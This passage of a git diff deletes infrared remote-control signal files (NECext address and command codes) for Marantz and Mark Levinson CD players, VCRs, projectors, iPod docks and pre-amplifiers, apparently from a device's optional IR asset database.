-address: 14 00 00 00 -command: 32 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: AB -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3B 00 00 00 -# -name: Dimmer -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 47 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 68 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_rc/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_rc/4,-1.ir deleted file mode 100644 index 55d5eaf41..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Unknown_rc/4,-1.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: SKIP_NEXT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: SKIP_PREV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: SLOW_NEXT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 22 00 00 00 -# -name: SLOW_PREV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 23 00 00 00 -# -name: SCAN_NEXT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 28 00 00 00 -# -name: SCAN_PREV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 29 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3A 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3B 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 42 00 00 00 -# -name: PROGRAMM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 45 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: SURR -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 52 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: SELECT/ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 71 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 82 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 83 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 85 00 00 00 -# -name: MARKER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F0 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F1 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/VCR/134,97.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/VCR/134,97.ir deleted file mode 100644 index 5c30e1f99..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/VCR/134,97.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MEM -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 0A 00 00 00 -# -name: PLAY/PAUSE_>_ -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 0D 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 0E 00 00 00 -# -name: SEARCH_FWD_>> -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 0F 00 00 00 -# -name: SEARCH_REV_<< -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 10 00 00 00 -# -name: FFWD_>> -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 11 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 12 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 13 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 18 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 19 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/VCR/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/VCR/23,-1.ir deleted file mode 100644 index 44accaa81..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/VCR/23,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV_POWER -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 06 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/VCR/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/VCR/5,-1.ir deleted file mode 100644 index d52cc4fce..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/VCR/5,-1.ir +++ /dev/null @@ -1,374 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: QP_START_+_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: QP_STOP_+_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: QP_DATE_+_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: QP_START_-_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: QP_STOP_-_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: QP_DATE_-_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: QP_DAILY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: QP_WEEKLY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: 100 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0A 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: VCR_POWER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: TURBO_TIMER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1C 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: CH_+ -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: VCR_CH_+ -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: CH_- -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: VCR_CH_- -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: AUDIO/MUTE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 23 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 23 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: PLAY_SPEED_DOWN -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: PLAY_SPEED_UP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: OTR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 27 00 00 00 -# -name: VAR_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 28 00 00 00 -# -name: PAUSE/SLOW -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: PAUSE/STILL -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2D 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: QP_SPEED -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3A 00 00 00 -# -name: SP/SLP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3A 00 00 00 -# -name: MEMO -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3B 00 00 00 -# -name: CLK/CNT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3C 00 00 00 -# -name: VCR/TV -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3E 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 45 00 00 00 -# -name: VCR_PLUS:_DAILY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 45 00 00 00 -# -name: SMART_PICTURE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 46 00 00 00 -# -name: PICT_CTRL -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 46 00 00 00 -# -name: TRACKING_+ -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 4D 00 00 00 -# -name: TRACKING_- -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 4E 00 00 00 -# -name: TAPE_MANAGER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 4F 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 52 00 00 00 -# -name: OK/STATUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 57 00 00 00 -# -name: SKIP/SEARCH -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 6A 00 00 00 -# -name: SKIP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 6A 00 00 00 -# -name: VISS_FWD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 70 00 00 00 -# -name: VISS_REV -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 71 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Video Projector/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Video Projector/0,-1.ir deleted file mode 100644 index d7eea5871..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Video Projector/0,-1.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF/STANDBY2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: STANDBY_-_B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: V-MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: VIDEO_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: INFORMATION -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: BACK_LIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: TINT_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: TINT_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: POWER_ON_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: POWER_ON_-_B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: MENU_ON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: MENU_OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: PIP_ON/OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: PIC_MODE_-FREEZE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: SMOOTH -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 61 00 00 00 -# -name: PICTURE_SHIFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 69 00 00 00 -# -name: ASPECT_-ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 74 00 00 00 -# -name: ZOOM/ZOOM_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 74 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 74 00 00 00 -# -name: ZOOM_(ASPECT) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 74 00 00 00 -# -name: CINEMA -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 76 00 00 00 -# -name: CENEMA -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 76 00 00 00 -# -name: BACK_LIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 77 00 00 00 -# -name: INFORMATION_(OSD) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 77 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7D 00 00 00 -# -name: ASPECT_-FULL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7E 00 00 00 -# -name: ASPECT_-SQUEEZE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7E 00 00 00 -# -name: FULL_SQUEEZE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7E 00 00 00 -# -name: FULL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7E 00 00 00 -# -name: FULL_(ASPECT) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Video Projector/13,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Video Projector/13,-1.ir deleted file mode 100644 index c9dfe3b5a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/Video Projector/13,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: COMP_1 -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 1A 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 56 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0D 00 00 00 -command: 96 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/iPod Dock/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/iPod Dock/14,-1.ir deleted file mode 100644 index c3b5ed7a9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/iPod Dock/14,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/iPod Dock/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/iPod Dock/16,-1.ir deleted file mode 100644 index 5e5e06c0c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Marantz/iPod Dock/16,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/1,-1.ir deleted file mode 100644 index ff8bcbc63..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/1,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: REPEAT_A-B -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: POLARITY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1D 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 23 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 24 00 00 00 -# -name: DISPLAY_INTENSITY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/16,-1.ir deleted file mode 100644 index 182133ec3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/16,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PAUSE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 00 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/2,-1.ir deleted file mode 100644 index c4c70c79f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/2,-1.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 04 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 05 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0B 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0D 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 13 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 14 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 15 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 23 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/3,-1.ir deleted file mode 100644 index c5fc00e89..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/CD Player/3,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: REWIND -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 00 00 00 00 -# -name: PROGRAM_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 01 00 00 00 -# -name: PROGRAM_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 02 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: FAST_FWD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 08 00 00 00 -# -name: STOP/DWR -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 09 00 00 00 -# -name: REPEAT_DISC/TRACK -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0A 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0B 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 10 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 11 00 00 00 -# -name: A_--_B -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 12 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 14 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 15 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1B 00 00 00 -# -name: POLARITY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1C 00 00 00 -# -name: DISPLAY_MODE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1D 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 24 00 00 00 -# -name: INTENSITY_/_STANDBY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 2B 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 2C 00 00 00 -# -name: INPUT_SELECT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 2D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/4,-1.ir deleted file mode 100644 index 8161e45ef..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/4,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/7,-1.ir deleted file mode 100644 index 5c9d4d5e2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/7,-1.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: 07 00 00 00 